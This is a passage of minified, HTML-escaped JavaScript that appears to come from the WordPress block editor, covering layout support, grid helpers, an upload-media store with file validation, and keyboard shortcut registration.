_b(e,t,!1,!0,!0,!0,{blockGap:!1,blockStyles:!0,layoutStyles:!1,marginReset:!1,presets:!1,rootPadding:!1,variationStyles:!0})}),[r,s,l,o,n]);return _s({id:`variation-${n}`,css:a,__unstableType:&quot;variation&quot;,variation:r,clientId:n}),r?{className:i}:{}}};const Mb=&quot;layout&quot;,{kebabCase:Pb}=U(Ss.privateApis);function Rb(e){return(0,p.hasBlockSupport)(e,&quot;layout&quot;)||(0,p.hasBlockSupport)(e,&quot;__experimentalLayout&quot;)}function Ab(e={},t=&quot;&quot;){const{layout:n}=e,{default:o}=(0,p.getBlockSupport)(t,Mb)||{},r=n?.inherit||n?.contentSize||n?.wideSize?{...n,type:&quot;constrained&quot;}:n||o||{},i=[];if(Vs[r?.type||&quot;default&quot;]?.className){const e=Vs[r?.type||&quot;default&quot;]?.className,n=t.split(&quot;/&quot;),o=`wp-block-${&quot;core&quot;===n[0]?n.pop():n.join(&quot;-&quot;)}-${e}`;i.push(e,o)}return(0,g.useSelect)((e=&gt;(r?.inherit||r?.contentSize||&quot;constrained&quot;===r?.type)&amp;&amp;e(Ii).getSettings().__experimentalFeatures?.useRootPaddingAwareAlignments),[r?.contentSize,r?.inherit,r?.type])&amp;&amp;i.push(&quot;has-global-padding&quot;),r?.orientation&amp;&amp;i.push(`is-${Pb(r.orientation)}`),r?.justifyContent&amp;&amp;i.push(`is-content-justification-${Pb(r.justifyContent)}`),r?.flexWrap&amp;&amp;&quot;nowrap&quot;===r.flexWrap&amp;&amp;i.push(&quot;is-nowrap&quot;),i}var Nb={shareWithChildBlocks:!0,edit:function({layout:e,setAttributes:t,name:n,clientId:o}){const r=ys(n),{layout:i}=r,{themeSupportsLayout:s}=(0,g.useSelect)((e=&gt;{const{getSettings:t}=e(Ii);return{themeSupportsLayout:t().supportsLayout}}),[]);if(&quot;default&quot;!==ha())return null;const l=(0,p.getBlockSupport)(n,Mb,{}),a={...i,...l},{allowSwitching:c,allowEditing:u=!0,allowInheriting:h=!0,default:m}=a;if(!u)return null;const f={...l,...e},{type:b,default:{type:k=&quot;default&quot;}={}}=f,v=b||k,_=!(!h||v&amp;&amp;&quot;default&quot;!==v&amp;&amp;&quot;constrained&quot;!==v&amp;&amp;!f.inherit),y=e||m||{},{inherit:x=!1,contentSize:S=null}=y;if((&quot;default&quot;===v||&quot;constrained&quot;===v)&amp;&amp;!s)return null;const w=Yl(v),C=Yl(&quot;constrained&quot;),B=!y.type&amp;&amp;(S||x),I=!!x||!!S,j=e=&gt;t({layout:e});return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Va,{children:(0,d.jsxs)(Ss.PanelBody,{title:(0,T.__)(&quot;Layout&quot;),children:[_&amp;&amp;(0,d.jsx)(d.Fragment,{children:(0,d.jsx)(Ss.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Inner blocks use content width&quot;),checked:&quot;constrained&quot;===w?.name||I,onChange:()=&gt;t({layout:{type:&quot;constrained&quot;===w?.name||I?&quot;default&quot;:&quot;constrained&quot;}}),help:&quot;constrained&quot;===w?.name||I?(0,T.__)(&quot;Nested blocks use content width with options for full and wide widths.&quot;):(0,T.__)(&quot;Nested blocks will fill the width of this container.&quot;)})}),!x&amp;&amp;c&amp;&amp;(0,d.jsx)(Lb,{type:v,onChange:e=&gt;t({layout:{type:e}})}),w&amp;&amp;&quot;default&quot;!==w.name&amp;&amp;(0,d.jsx)(w.inspectorControls,{layout:y,onChange:j,layoutBlockSupport:a,name:n,clientId:o}),C&amp;&amp;B&amp;&amp;(0,d.jsx)(C.inspectorControls,{layout:y,onChange:j,layoutBlockSupport:a,name:n,clientId:o})]})}),!x&amp;&amp;w&amp;&amp;(0,d.jsx)(w.toolBarControls,{layout:y,onChange:j,layoutBlockSupport:l,name:n,clientId:o})]})},attributeKeys:[&quot;layout&quot;],hasSupport:e=&gt;Rb(e)};function Lb({type:e,onChange:t}){return(0,d.jsx)(Ss.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,isBlock:!0,label:(0,T.__)(&quot;Layout type&quot;),__nextHasNoMarginBottom:!0,hideLabelFromVision:!0,isAdaptiveWidth:!0,value:e,onChange:t,children:ql.map((({name:e,label:t})=&gt;(0,d.jsx)(Ss.__experimentalToggleGroupControlOption,{value:e,label:t},e)))})}function Db({block:e,props:t,blockGapSupport:n,layoutClasses:o}){const{name:r,attributes:i}=t,s=(0,m.useInstanceId)(e),{layout:l}=i,{default:a}=(0,p.getBlockSupport)(r,Mb)||{},c=l?.inherit||l?.contentSize||l?.wideSize?{...l,type:&quot;constrained&quot;}:l||a||{},u=`wp-container-${Pb(r)}-is-layout-`,h=`.${u}${s}`,g=null!==n,f=Yl(c?.type||&quot;default&quot;),b=f?.getLayoutStyle?.({blockName:r,selector:h,layout:c,style:i?.style,hasBlockGapSupport:g}),k=gs({[`${u}${s}`]:!!b},o);return vs({css:b}),(0,d.jsx)(e,{...t,__unstableLayoutClassNames:k})}const Ob=(0,m.createHigherOrderComponent)((e=&gt;t=&gt;{const{clientId:n,name:o,attributes:r}=t,i=Rb(o),s=Ab(r,o),l=(0,g.useSelect)((e=&gt;{if(!i)return;const{getSettings:t,getBlockSettings:o}=U(e(Ii)),{disableLayoutStyles:r}=t();if(r)return;const[s]=o(n,&quot;spacing.blockGap&quot;);return{blockGapSupport:s}}),[i,n]);return l?(0,d.jsx)(Db,{block:e,props:t,layoutClasses:s,...l}):(0,d.jsx)(e,{...t,__unstableLayoutClassNames:i?s:void 0})}),&quot;withLayoutStyles&quot;);function zb(e,t){return Array.from({length:t},((t,n)=&gt;e+n))}(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/layout/addAttribute&quot;,(function(e){return&quot;type&quot;in(e.attributes?.layout??{})||Rb(e)&amp;&amp;(e.attributes={...e.attributes,layout:{type:&quot;object&quot;}}),e})),(0,f.addFilter)(&quot;editor.BlockListBlock&quot;,&quot;core/editor/layout/with-layout-styles&quot;,Ob);class Vb{constructor({columnStart:e,rowStart:t,columnEnd:n,rowEnd:o,columnSpan:r,rowSpan:i}={}){this.columnStart=e??1,this.rowStart=t??1,this.columnEnd=void 0!==r?this.columnStart+r-1:n??this.columnStart,this.rowEnd=void 0!==i?this.rowStart+i-1:o??this.rowStart}get columnSpan(){return this.columnEnd-this.columnStart+1}get rowSpan(){return this.rowEnd-this.rowStart+1}contains(e,t){return e&gt;=this.columnStart&amp;&amp;e&lt;=this.columnEnd&amp;&amp;t&gt;=this.rowStart&amp;&amp;t&lt;=this.rowEnd}containsRect(e){return this.contains(e.columnStart,e.rowStart)&amp;&amp;this.contains(e.columnEnd,e.rowEnd)}intersectsRect(e){return this.columnStart&lt;=e.columnEnd&amp;&amp;this.columnEnd&gt;=e.columnStart&amp;&amp;this.rowStart&lt;=e.rowEnd&amp;&amp;this.rowEnd&gt;=e.rowStart}}function Fb(e,t){return e.ownerDocument.defaultView.getComputedStyle(e).getPropertyValue(t)}function Hb(e,t){const n=[];for(const o of e.split(&quot; &quot;)){const e=n[n.length-1],r=e?e.end+t:0,i=r+parseFloat(o);n.push({start:r,end:i})}return n}function Ub(e,t,n=&quot;start&quot;){return e.reduce(((o,r,i)=&gt;Math.abs(r[n]-t)&lt;Math.abs(e[o][n]-t)?i:o),0)}function Gb(e){const t=Fb(e,&quot;grid-template-columns&quot;),n=Fb(e,&quot;grid-template-rows&quot;),o=Fb(e,&quot;border-top-width&quot;),r=Fb(e,&quot;border-right-width&quot;),i=Fb(e,&quot;border-bottom-width&quot;),s=Fb(e,&quot;border-left-width&quot;),l=Fb(e,&quot;padding-top&quot;),a=Fb(e,&quot;padding-right&quot;),c=Fb(e,&quot;padding-bottom&quot;),u=Fb(e,&quot;padding-left&quot;),d=t.split(&quot; &quot;).length,p=n.split(&quot; &quot;).length;return{numColumns:d,numRows:p,numItems:d*p,currentColor:Fb(e,&quot;color&quot;),style:{gridTemplateColumns:t,gridTemplateRows:n,gap:Fb(e,&quot;gap&quot;),inset:`\n\t\t\t\tcalc(${l} + ${o})\n\t\t\t\tcalc(${a} + ${r})\n\t\t\t\tcalc(${c} + ${i})\n\t\t\t\tcalc(${u} + ${s})\n\t\t\t`}}}const $b=[(0,h.createInterpolateElement)((0,T.__)(&quot;While writing, you can press &lt;kbd&gt;/&lt;/kbd&gt; to quickly insert new blocks.&quot;),{kbd:(0,d.jsx)(&quot;kbd&quot;,{})}),(0,h.createInterpolateElement)((0,T.__)(&quot;Indent a list by pressing &lt;kbd&gt;space&lt;/kbd&gt; at the beginning of a line.&quot;),{kbd:(0,d.jsx)(&quot;kbd&quot;,{})}),(0,h.createInterpolateElement)((0,T.__)(&quot;Outdent a list by pressing &lt;kbd&gt;backspace&lt;/kbd&gt; at the beginning of a line.&quot;),{kbd:(0,d.jsx)(&quot;kbd&quot;,{})}),(0,T.__)(&quot;Drag files into the editor to automatically insert media blocks.&quot;),(0,T.__)(&quot;Change a block&#039;s type by pressing the block icon on the toolbar.&quot;)];var Wb=function(){const[e]=(0,h.useState)(Math.floor(Math.random()*$b.length));return(0,d.jsx)(Ss.Tip,{children:$b[e]})},Kb=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z&quot;})}),Zb=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z&quot;})});const{Badge:qb}=U(Ss.privateApis);var Yb=function({title:e,icon:t,description:n,blockType:o,className:r,name:i,allowParentNavigation:s,children:l}){o&amp;&amp;(I()(&quot;`blockType` property in `BlockCard component`&quot;,{since:&quot;5.7&quot;,alternative:&quot;`title, icon and description` properties&quot;}),({title:e,icon:t,description:n}=o));const a=(0,g.useSelect)((e=&gt;{if(!s)return;const{getSelectedBlockClientId:t,getBlockParentsByBlockName:n}=e(Ii);return n(t(),&quot;core/navigation&quot;,!0)[0]}),[s]),{selectBlock:c}=(0,g.useDispatch)(Ii);return(0,d.jsxs)(&quot;div&quot;,{className:gs(&quot;block-editor-block-card&quot;,r),children:[s&amp;&amp;a&amp;&amp;(0,d.jsx)(Ss.Button,{onClick:()=&gt;c(a),label:(0,T.__)(&quot;Go to parent Navigation block&quot;),style:{minWidth:24,padding:0},icon:(0,T.isRTL)()?Kb:Zb,size:&quot;small&quot;}),(0,d.jsx)(zu,{icon:t,showColors:!0}),(0,d.jsxs)(Ss.__experimentalVStack,{spacing:1,children:[(0,d.jsxs)(&quot;h2&quot;,{className:&quot;block-editor-block-card__title&quot;,children:[(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-card__name&quot;,children:i?.length?i:e}),!!i?.length&amp;&amp;(0,d.jsx)(qb,{children:e})]}),n&amp;&amp;(0,d.jsx)(Ss.__experimentalText,{className:&quot;block-editor-block-card__description&quot;,children:n}),l]})]})},Xb=(e=&gt;(e.Unknown=&quot;REDUX_UNKNOWN&quot;,e.Add=&quot;ADD_ITEM&quot;,e.Prepare=&quot;PREPARE_ITEM&quot;,e.Cancel=&quot;CANCEL_ITEM&quot;,e.Remove=&quot;REMOVE_ITEM&quot;,e.PauseItem=&quot;PAUSE_ITEM&quot;,e.ResumeItem=&quot;RESUME_ITEM&quot;,e.PauseQueue=&quot;PAUSE_QUEUE&quot;,e.ResumeQueue=&quot;RESUME_QUEUE&quot;,e.OperationStart=&quot;OPERATION_START&quot;,e.OperationFinish=&quot;OPERATION_FINISH&quot;,e.AddOperations=&quot;ADD_OPERATIONS&quot;,e.CacheBlobUrl=&quot;CACHE_BLOB_URL&quot;,e.RevokeBlobUrls=&quot;REVOKE_BLOB_URLS&quot;,e.UpdateSettings=&quot;UPDATE_SETTINGS&quot;,e))(Xb||{}),Qb=(e=&gt;(e.Processing=&quot;PROCESSING&quot;,e.Paused=&quot;PAUSED&quot;,e))(Qb||{}),Jb=(e=&gt;(e.Prepare=&quot;PREPARE&quot;,e.Upload=&quot;UPLOAD&quot;,e))(Jb||{});const ek={queue:[],queueStatus:&quot;active&quot;,blobUrls:{},settings:{mediaUpload:()=&gt;{}}};var tk=function(e=ek,t={type:Xb.Unknown}){switch(t.type){case Xb.PauseQueue:return{...e,queueStatus:&quot;paused&quot;};case Xb.ResumeQueue:return{...e,queueStatus:&quot;active&quot;};case Xb.Add:return{...e,queue:[...e.queue,t.item]};case Xb.Cancel:return{...e,queue:e.queue.map((e=&gt;e.id===t.id?{...e,error:t.error}:e))};case Xb.Remove:return{...e,queue:e.queue.filter((e=&gt;e.id!==t.id))};case Xb.OperationStart:return{...e,queue:e.queue.map((e=&gt;e.id===t.id?{...e,currentOperation:t.operation}:e))};case Xb.AddOperations:return{...e,queue:e.queue.map((e=&gt;e.id!==t.id?e:{...e,operations:[...e.operations||[],...t.operations]}))};case Xb.OperationFinish:return{...e,queue:e.queue.map((e=&gt;{if(e.id!==t.id)return e;const n=e.operations?e.operations.slice(1):[],o=e.attachment||t.item.attachment?{...e.attachment,...t.item.attachment}:void 0;return{...e,currentOperation:void 0,operations:n,...t.item,attachment:o,additionalData:{...e.additionalData,...t.item.additionalData}}}))};case Xb.CacheBlobUrl:{const n=e.blobUrls[t.id]||[];return{...e,blobUrls:{...e.blobUrls,[t.id]:[...n,t.blobUrl]}}}case Xb.RevokeBlobUrls:{const n={...e.blobUrls};return delete n[t.id],{...e,blobUrls:n}}case Xb.UpdateSettings:return{...e,settings:{...e.settings,...t.settings}}}return e};function nk(e){return e.queue}function ok(e){return e.queue.length&gt;=1}function rk(e,t){return e.queue.some((e=&gt;e.attachment?.url===t||e.sourceUrl===t))}function ik(e,t){return e.queue.some((e=&gt;e.attachment?.id===t||e.sourceAttachmentId===t))}function sk(e){return e.settings}function lk(e){return e.queue}function ak(e,t){return e.queue.find((e=&gt;e.id===t))}function ck(e,t){return 0===e.queue.filter((e=&gt;t===e.batchId)).length}function uk(e,t){return e.queue.some((e=&gt;e.currentOperation===Jb.Upload&amp;&amp;e.additionalData.post===t))}function dk(e,t){return e.queue.find((e=&gt;e.status===Qb.Paused&amp;&amp;e.additionalData.post===t))}function pk(e){return&quot;paused&quot;===e.queueStatus}function hk(e,t){return e.blobUrls[t]||[]}const gk={randomUUID:&quot;undefined&quot;!=typeof crypto&amp;&amp;crypto.randomUUID&amp;&amp;crypto.randomUUID.bind(crypto)};let mk;const fk=new Uint8Array(16);function bk(){if(!mk&amp;&amp;(mk=&quot;undefined&quot;!=typeof crypto&amp;&amp;crypto.getRandomValues&amp;&amp;crypto.getRandomValues.bind(crypto),!mk))throw new Error(&quot;crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported&quot;);return mk(fk)}const kk=[];for(let e=0;e&lt;256;++e)kk.push((e+256).toString(16).slice(1));function vk(e,t=0){return kk[e[t+0]]+kk[e[t+1]]+kk[e[t+2]]+kk[e[t+3]]+&quot;-&quot;+kk[e[t+4]]+kk[e[t+5]]+&quot;-&quot;+kk[e[t+6]]+kk[e[t+7]]+&quot;-&quot;+kk[e[t+8]]+kk[e[t+9]]+&quot;-&quot;+kk[e[t+10]]+kk[e[t+11]]+kk[e[t+12]]+kk[e[t+13]]+kk[e[t+14]]+kk[e[t+15]]}const _k=function(e,t,n){if(gk.randomUUID&amp;&amp;!t&amp;&amp;!e)return gk.randomUUID();const o=(e=e||{}).random||(e.rng||bk)();if(o[6]=15&amp;o[6]|64,o[8]=63&amp;o[8]|128,t){n=n||0;for(let e=0;e&lt;16;++e)t[n+e]=o[e];return t}return vk(o)};class yk extends Error{code;file;constructor({code:e,message:t,file:n,cause:o}){super(t,{cause:o}),Object.setPrototypeOf(this,new.target.prototype),this.code=e,this.file=n}}function xk(e,t){if(!t)return;const n=t.some((t=&gt;t.includes(&quot;/&quot;)?t===e.type:e.type.startsWith(`${t}/`)));if(e.type&amp;&amp;!n)throw new yk({code:&quot;MIME_TYPE_NOT_SUPPORTED&quot;,message:(0,T.sprintf)((0,T.__)(&quot;%s: Sorry, this file type is not supported here.&quot;),e.name),file:e})}function Sk(e,t){const n=(o=t)?Object.entries(o).flatMap((([e,t])=&gt;{const[n]=t.split(&quot;/&quot;);return[t,...e.split(&quot;|&quot;).map((e=&gt;`${n}/${e}`))]})):null;var o;if(!n)return;const r=n.includes(e.type);if(e.type&amp;&amp;!r)throw new yk({code:&quot;MIME_TYPE_NOT_ALLOWED_FOR_USER&quot;,message:(0,T.sprintf)((0,T.__)(&quot;%s: Sorry, you are not allowed to upload this file type.&quot;),e.name),file:e})}function wk(e,t){if(e.size&lt;=0)throw new yk({code:&quot;EMPTY_FILE&quot;,message:(0,T.sprintf)((0,T.__)(&quot;%s: This file is empty.&quot;),e.name),file:e});if(t&amp;&amp;e.size&gt;t)throw new yk({code:&quot;SIZE_ABOVE_LIMIT&quot;,message:(0,T.sprintf)((0,T.__)(&quot;%s: This file exceeds the maximum upload size for this site.&quot;),e.name),file:e})}function Ck({files:e,onChange:t,onSuccess:n,onError:o,onBatchSuccess:r,additionalData:i,allowedTypes:s}){return async({select:l,dispatch:a})=&gt;{const c=_k();for(const u of e){try{xk(u,s),Sk(u,l.getSettings().allowedMimeTypes)}catch(e){o?.(e);continue}try{wk(u,l.getSettings().maxUploadFileSize)}catch(e){o?.(e);continue}a.addItem({file:u,batchId:c,onChange:t,onSuccess:n,onBatchSuccess:r,onError:o,additionalData:i})}}}function Bk(e,t,n=!1){return async({select:o,dispatch:r})=&gt;{const i=o.getItem(e);if(i){if(i.abortController?.abort(),!n){const{onError:e}=i;e?.(t??new Error(&quot;Upload cancelled&quot;)),!e&amp;&amp;t&amp;&amp;console.error(&quot;Upload cancelled&quot;,t)}r({type:Xb.Cancel,id:e,error:t}),r.removeItem(e),r.revokeBlobUrls(e),i.batchId&amp;&amp;o.isBatchUploaded(i.batchId)&amp;&amp;i.onBatchSuccess?.()}}}function Ik(e){return function(e,t){return new File([e],t,{type:e.type,lastModified:e.lastModified})}(e,e.name)}class jk extends File{constructor(e=&quot;stub-file&quot;){super([],e)}}function Ek({file:e,batchId:t,onChange:n,onSuccess:o,onBatchSuccess:r,onError:i,additionalData:s={},sourceUrl:l,sourceAttachmentId:a,abortController:c,operations:u}){return async({dispatch:d})=&gt;{const p=_k(),h=function(e){if(e instanceof File)return e;const t=e.type.split(&quot;/&quot;)[1],n=&quot;application/pdf&quot;===e.type?&quot;document&quot;:e.type.split(&quot;/&quot;)[0];return new File([e],`${n}.${t}`,{type:e.type})}(e);let g;h instanceof jk||(g=(0,Ga.createBlobURL)(h),d({type:Xb.CacheBlobUrl,id:p,blobUrl:g})),d({type:Xb.Add,item:{id:p,batchId:t,status:Qb.Processing,sourceFile:Ik(h),file:h,attachment:{url:g},additionalData:{convert_format:!1,...s},onChange:n,onSuccess:o,onBatchSuccess:r,onError:i,sourceUrl:l,sourceAttachmentId:a,abortController:c||new AbortController,operations:Array.isArray(u)?u:[Jb.Prepare]}}),d.processItem(p)}}function Tk(e){return async({select:t,dispatch:n})=&gt;{if(t.isPaused())return;const o=t.getItem(e),{attachment:r,onChange:i,onSuccess:s,onBatchSuccess:l,batchId:a}=o,c=Array.isArray(o.operations?.[0])?o.operations[0][0]:o.operations?.[0];if(r&amp;&amp;i?.([r]),!c)return r&amp;&amp;s?.([r]),n.revokeBlobUrls(e),void(a&amp;&amp;t.isBatchUploaded(a)&amp;&amp;l?.());if(c)switch(n({type:Xb.OperationStart,id:e,operation:c}),c){case Jb.Prepare:n.prepareItem(o.id);break;case Jb.Upload:n.uploadItem(e)}}}function Mk(){return{type:Xb.PauseQueue}}function Pk(){return async({select:e,dispatch:t})=&gt;{t({type:Xb.ResumeQueue});for(const n of e.getAllItems())t.processItem(n.id)}}function Rk(e){return async({select:t,dispatch:n})=&gt;{t.getItem(e)&amp;&amp;n({type:Xb.Remove,id:e})}}function Ak(e,t){return async({dispatch:n})=&gt;{n({type:Xb.OperationFinish,id:e,item:t}),n.processItem(e)}}function Nk(e){return async({dispatch:t})=&gt;{const n=[Jb.Upload];t({type:Xb.AddOperations,id:e,operations:n}),t.finishOperation(e,{})}}function Lk(e){return async({select:t,dispatch:n})=&gt;{const o=t.getItem(e);t.getSettings().mediaUpload({filesList:[o.file],additionalData:o.additionalData,signal:o.abortController?.signal,onFileChange:([t])=&gt;{(0,Ga.isBlobURL)(t.url)||n.finishOperation(e,{attachment:t})},onSuccess:([t])=&gt;{n.finishOperation(e,{attachment:t})},onError:t=&gt;{n.cancelItem(e,t)}})}}function Dk(e){return async({select:t,dispatch:n})=&gt;{const o=t.getBlobUrls(e);for(const e of o)(0,Ga.revokeBlobURL)(e);n({type:Xb.RevokeBlobUrls,id:e})}}function Ok(e){return{type:Xb.UpdateSettings,settings:e}}const{lock:zk,unlock:Vk}=(0,F.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/upload-media&quot;),Fk=&quot;core/upload-media&quot;,Hk={reducer:tk,selectors:s,actions:a},Uk=(0,g.createReduxStore)(Fk,{reducer:tk,selectors:s,actions:a});(0,g.register)(Uk),Vk(Uk).registerPrivateActions(c),Vk(Uk).registerPrivateSelectors(l);const Gk=(0,m.createHigherOrderComponent)((e=&gt;({useSubRegistry:t=!0,...n})=&gt;{const o=(0,g.useRegistry)(),[r]=(0,h.useState)((()=&gt;new WeakMap)),i=function(e,t,n){if(!n)return t;let o=e.get(t);return o||(o=(0,g.createRegistry)({},t),o.registerStore(Fk,Hk),e.set(t,o)),o}(r,o,t);return i===o?(0,d.jsx)(e,{registry:o,...n}):(0,d.jsx)(g.RegistryProvider,{value:i,children:(0,d.jsx)(e,{registry:i,...n})})}),&quot;withRegistryProvider&quot;)((e=&gt;{const{children:t,settings:n}=e,{updateSettings:o}=Vk((0,g.useDispatch)(Uk));return(0,h.useEffect)((()=&gt;{o(n)}),[n,o]),(0,d.jsx)(d.Fragment,{children:t})}));var $k=Gk;var Wk=(0,m.createHigherOrderComponent)((e=&gt;({useSubRegistry:t=!0,...n})=&gt;{const o=(0,g.useRegistry)(),[r]=(0,h.useState)((()=&gt;new WeakMap)),i=function(e,t,n){if(!n)return t;let o=e.get(t);return o||(o=(0,g.createRegistry)({},t),o.registerStore(he,Bi),e.set(t,o)),o}(r,o,t);return i===o?(0,d.jsx)(e,{registry:o,...n}):(0,d.jsx)(g.RegistryProvider,{value:i,children:(0,d.jsx)(e,{registry:i,...n})})}),&quot;withRegistryProvider&quot;);const Kk=()=&gt;{};function Zk({clientId:e=null,value:t,selection:n,onChange:o=Kk,onInput:r=Kk}){const i=(0,g.useRegistry)(),{resetBlocks:s,resetSelection:l,replaceInnerBlocks:a,setHasControlledInnerBlocks:c,__unstableMarkNextChangeAsNotPersistent:u}=i.dispatch(Ii),{getBlockName:d,getBlocks:m,getSelectionStart:f,getSelectionEnd:b}=i.select(Ii),k=(0,g.useSelect)((t=&gt;!e||t(Ii).areInnerBlocksControlled(e)),[e]),v=(0,h.useRef)({incoming:null,outgoing:[]}),_=(0,h.useRef)(!1),y=()=&gt;{t&amp;&amp;(u(),e?i.batch((()=&gt;{c(e,!0);const n=t.map((e=&gt;(0,p.cloneBlock)(e)));_.current&amp;&amp;(v.current.incoming=n),u(),a(e,n)})):(_.current&amp;&amp;(v.current.incoming=t),s(t)))},x=(0,h.useRef)(r),S=(0,h.useRef)(o);(0,h.useEffect)((()=&gt;{x.current=r,S.current=o}),[r,o]),(0,h.useEffect)((()=&gt;{v.current.outgoing.includes(t)?v.current.outgoing[v.current.outgoing.length-1]===t&amp;&amp;(v.current.outgoing=[]):m(e)!==t&amp;&amp;(v.current.outgoing=[],y(),n&amp;&amp;l(n.selectionStart,n.selectionEnd,n.initialPosition))}),[t,e]);const w=(0,h.useRef)(!1);(0,h.useEffect)((()=&gt;{w.current?k||(v.current.outgoing=[],y()):w.current=!0}),[k]),(0,h.useEffect)((()=&gt;{const{getSelectedBlocksInitialCaretPosition:t,isLastBlockChangePersistent:n,__unstableIsLastBlockChangeIgnored:o,areInnerBlocksControlled:r}=i.select(Ii);let s=m(e),l=n(),a=!1;_.current=!0;const c=i.subscribe((()=&gt;{if(null!==e&amp;&amp;null===d(e))return;if(!(!e||r(e)))return;const i=n(),c=m(e),u=c!==s;if(s=c,u&amp;&amp;(v.current.incoming||o()))return v.current.incoming=null,void(l=i);if(u||a&amp;&amp;!u&amp;&amp;i&amp;&amp;!l){l=i,v.current.outgoing.push(s);(l?S.current:x.current)(s,{selection:{selectionStart:f(),selectionEnd:b(),initialPosition:t()}})}a=u}),Ii);return()=&gt;{_.current=!1,c()}}),[i,e]),(0,h.useEffect)((()=&gt;()=&gt;{u(),e?(c(e,!1),u(),a(e,[])):s([])}),[])}const qk=window.wp.keyboardShortcuts;function Yk(){return null}Yk.Register=function(){const{registerShortcut:e}=(0,g.useDispatch)(qk.store);return(0,h.useEffect)((()=&gt;{e({name:&quot;core/block-editor/copy&quot;,category:&quot;block&quot;,description:(0,T.__)(&quot;Copy the selected block(s).&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;c&quot;}}),e({name:&quot;core/block-editor/cut&quot;,category:&quot;block&quot;,description:(0,T.__)(&quot;Cut the selected block(s).&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;x&quot;}}),e({name:&quot;core/block-editor/paste&quot;,category:&quot;block&quot;,description:(0,T.__)(&quot;Paste the selected block(s).&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;v&quot;}}),e({name:&quot;core/block-editor/duplicate&quot;,category:&quot;block&quot;,description:(0,T.__)(&quot;Duplicate the selected block(s).&quot;),keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;d&quot;}}),e({name:&quot;core/block-editor/remove&quot;,category:&quot;block&quot;,description:(0,T.__)(&quot;Remove the selected block(s).&quot;),keyCombination:{modifier:&quot;access&quot;,character:&quot;z&quot;}}),e({name:&quot;core/block-editor/paste-styles&quot;,category:&quot;block&quot;,description:(0,T.__)(&quot;Paste the copied style to the selected block(s).&quot;),keyCombination:{modifier:&quot;primaryAlt&quot;,character:&quot;v&quot;}}),e({name:&quot;core/block-editor/insert-before&quot;,category:&quot;block&quot;,description:(0,T.__)(&quot;Insert a new block before the selected block(s).&quot;),keyCombination:{modifier:&quot;primaryAlt&quot;,character:&quot;t&quot;}}),e({name:&quot;core/block-editor/insert-after&quot;,category:&quot;block&quot;,description:(0,T.__)(&quot;Insert a new block after the selected block(s).&quot;),keyCombination:{modifier:&quot;primaryAlt&quot;,character:&quot;y&quot;}}),e({name:&quot;core/block-editor/delete-multi-selection&quot;,category:&quot;block&quot;,description:(0,T.__)(&quot;Delete selection.&quot;),keyCombination:{character:&quot;del&quot;},aliases:[{character:&quot;backspace&quot;}]}),e({name:&quot;core/block-editor/select-all&quot;,category:&quot;selection&quot;,description:(0,T.__)(&quot;Select all text when typing. Press again to select all blocks.&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;a&quot;}}),e({name:&quot;core/block-editor/unselect&quot;,category:&quot;selection&quot;,description:(0,T.__)(&quot;Clear selection.&quot;),keyCombination:{character:&quot;escape&quot;}}),e({name:&quot;core/block-editor/multi-text-selection&quot;,category:&quot;selection&quot;,description:(0,T.__)(&quot;Select text across multiple blocks.&quot;),keyCombination:{modifier:&quot;shift&quot;,character:&quot;arrow&quot;}}),e({name:&quot;core/block-editor/focus-toolbar&quot;,category:&quot;global&quot;,description:(0,T.__)(&quot;Navigate to the nearest toolbar.&quot;),keyCombination:{modifier:&quot;alt&quot;,character:&quot;F10&quot;}}),e({name:&quot;core/block-editor/move-up&quot;,category:&quot;block&quot;,description:(0,T.__)(&quot;Move the selected block(s) up.&quot;),keyCombination:{modifier:&quot;secondary&quot;,character:&quot;t&quot;}}),e({name:&quot;core/block-editor/move-down&quot;,category:&quot;block&quot;,description:(0,T.__)(&quot;Move the selected block(s) down.&quot;),keyCombination:{modifier:&quot;secondary&quot;,character:&quot;y&quot;}}),e({name:&quot;core/block-editor/collapse-list-view&quot;,category:&quot;list-view&quot;,description:(0,T.__)(&quot;Collapse all other items.&quot;),keyCombination:{modifier:&quot;alt&quot;,character:&quot;l&quot;}}),e({name:&quot;core/block-editor/group&quot;,category:&quot;block&quot;,description:(0,T.__)(&quot;Create a group block from the selected multiple blocks.&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;g&quot;}}),e({name:&quot;core/block-editor/toggle-block-visibility&quot;,category:&quot;block&quot;,description:(0,T.__)(&quot;Show or hide the selected block(s).&quot;),keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;h&quot;}})}),[e]),null};var Xk=Yk;var Qk=function(e={}){return(0,h.useMemo)((()=&gt;({mediaUpload:e.mediaUpload,mediaSideload:e.mediaSideload,maxUploadFileSize:e.maxUploadFileSize,allowedMimeTypes:e.allowedMimeTypes})),[e])};const Jk=()=&gt;{};function ev(e,{allowedTypes:t,additionalData:n={},filesList:o,onError:r=Jk,onFileChange:i,onSuccess:s,onBatchSuccess:l}){e.dispatch(Uk).addItems({files:o,onChange:i,onSuccess:s,onBatchSuccess:l,onError:({message:e})=&gt;r(e),additionalData:n,allowedTypes:t})}const tv=Wk((e=&gt;{const{settings:t,registry:n,stripExperimentalSettings:o=!1}=e,r=Qk(t);let 